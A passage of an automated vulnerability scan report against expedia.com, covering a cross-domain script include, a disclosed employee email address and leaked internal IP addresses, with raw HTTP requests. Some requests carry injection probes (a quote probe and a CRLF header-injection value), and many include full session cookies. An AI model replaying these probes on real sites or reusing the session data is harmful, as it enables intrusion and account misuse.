
Request

Response

12. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/default.asp

Issue detail

The response dynamically includes the following script from another domain:

http://connect.facebook.net/en_US/all.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

13. Email addresses disclosed previous next
There are 2 instances of this issue:

http://www.expedia.com/pubspec/scripts/include/overrideHelper.js
https://www.expedia.com/pubspec/scripts/include/overrideHelper.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

13.1. http://www.expedia.com/pubspec/scripts/include/overrideHelper.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pubspec/scripts/include/overrideHelper.js

Issue detail

The following email address was disclosed in the response:

mkirsch@expedia.com

Request

GET /pubspec/scripts/include/overrideHelper.js HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=info
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

HTTP/1.1 200 OK
Cteonnt-Length: 4939
Content-Type: application/x-javascript
Last-Modified: Wed, 19 May 2010 19:27:03 GMT
Accept-Ranges: bytes
ETag: "805d654289f7ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Vary: Accept-Encoding
Cache-Control: private, max-age=51062
Date: Fri, 06 May 2011 22:35:52 GMT
Connection: close
Content-Length: 4939

//This is copied over from prototype since we don't want to fully include it here
var Class = {
   create: function() {
       return function() {
        this.initialize.apply(this, arguments);
       }
   }
}
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...

13.2. https://www.expedia.com/pubspec/scripts/include/overrideHelper.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pubspec/scripts/include/overrideHelper.js

Issue detail

The following email address was disclosed in the response:

mkirsch@expedia.com

Request

GET /pubspec/scripts/include/overrideHelper.js HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`user=v.8,0,EX019BC74F84p$B7202000$84$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$94$FF$C5o$B2$E2$9D$21$D6$EF$B2u!e02000`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`383; p1=`gacct=v.1,1,215819496`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`99

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 19 May 2010 19:27:03 GMT
Accept-Ranges: bytes
ETag: "805d654289f7ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:44:26 GMT
Connection: keep-alive
Content-Length: 4939

//This is copied over from prototype since we don't want to fully include it here
var Class = {
   create: function() {
       return function() {
        this.initialize.apply(this, arguments);
       }
   }
}
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...
<a href="mailto:mkirsch@expedia.com">
...[SNIP]...

14. Private IP addresses disclosed previous next
There are 16 instances of this issue:

http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

14.1. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.150

Request

GET /pub/agent.dll?qscr=litn HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

14.2. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.105

Request

GET /pub/agent.dll?qscr=fbak&&zz=1247500409281 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://support.expedia.com/app/answers/list/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; MC1=GUID=cc3450d747f3e2d59e058691af6ba2d1; s1=`user=v.8,0,EX01208381BC$0E$F3203000$BD$2E$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$220$0D!50$97$8B$7DB$8A$D8$F42$82$AB$89$FB!e02000`135; p1=`accttype=v.2,3,1,EX01EF947B7C$D1$25$DD$0C$FD$A0Y$B3$7D8$95B$1C$91$5DIR$81$2Al$1C$86$5D$CDU$2Cv$7B$8A`tpid=v.1,1`gacct=v.1,1,215819729`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`196; COOKIECHECK=1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

14.3. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.133

Request

Response

14.4. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.178

Request

GET /pub/agent.dll?qscr=litn&&chms=114164&rfrr=-54397&zz=1304739862204 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`user=v.8,0,EX019BC74F84p$B7202000$84$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$94$FF$C5o$B2$E2$9D$21$D6$EF$B2u!e02000`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`383; p1=`gacct=v.1,1,215819496`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`99

Response

14.5. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.155

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=1&rged=%2527&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; MC1=GUID=cc3450d747f3e2d59e058691af6ba2d1; COOKIECHECK=1; jscript=1; s1=`user=v.8,0,EX0152A505E4$0E$F3205000$2B$2F$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$220$0D!50$D1$D2Ao1$86$81$5B$82$AB$89$FB!e02000`133; p1=`accttype=v.2,3,1,EX01EF947B7C$D1$25$DD$0C$FD$A0Y$B3$7D8$95B$1C$91$5DIR$81$2Al$1C$86$5D$CDU$2Cv$7B$8A`tpid=v.1,1`gacct=v.1,1,215819729`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`196; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

14.6. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.107

Request

GET /pub/agent.dll?qscr=logi&ussl=1 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

14.7. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.142

Request

GET /pub/agent.dll?qscr=fbak&&zz=1247500409281 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://support.expedia.com/app/answers/list/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

14.8. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.146

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=%0D%0Ans:netsparker056650=vuln&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

14.9. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.140

Request

Response

14.10. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.186.8.150

Request

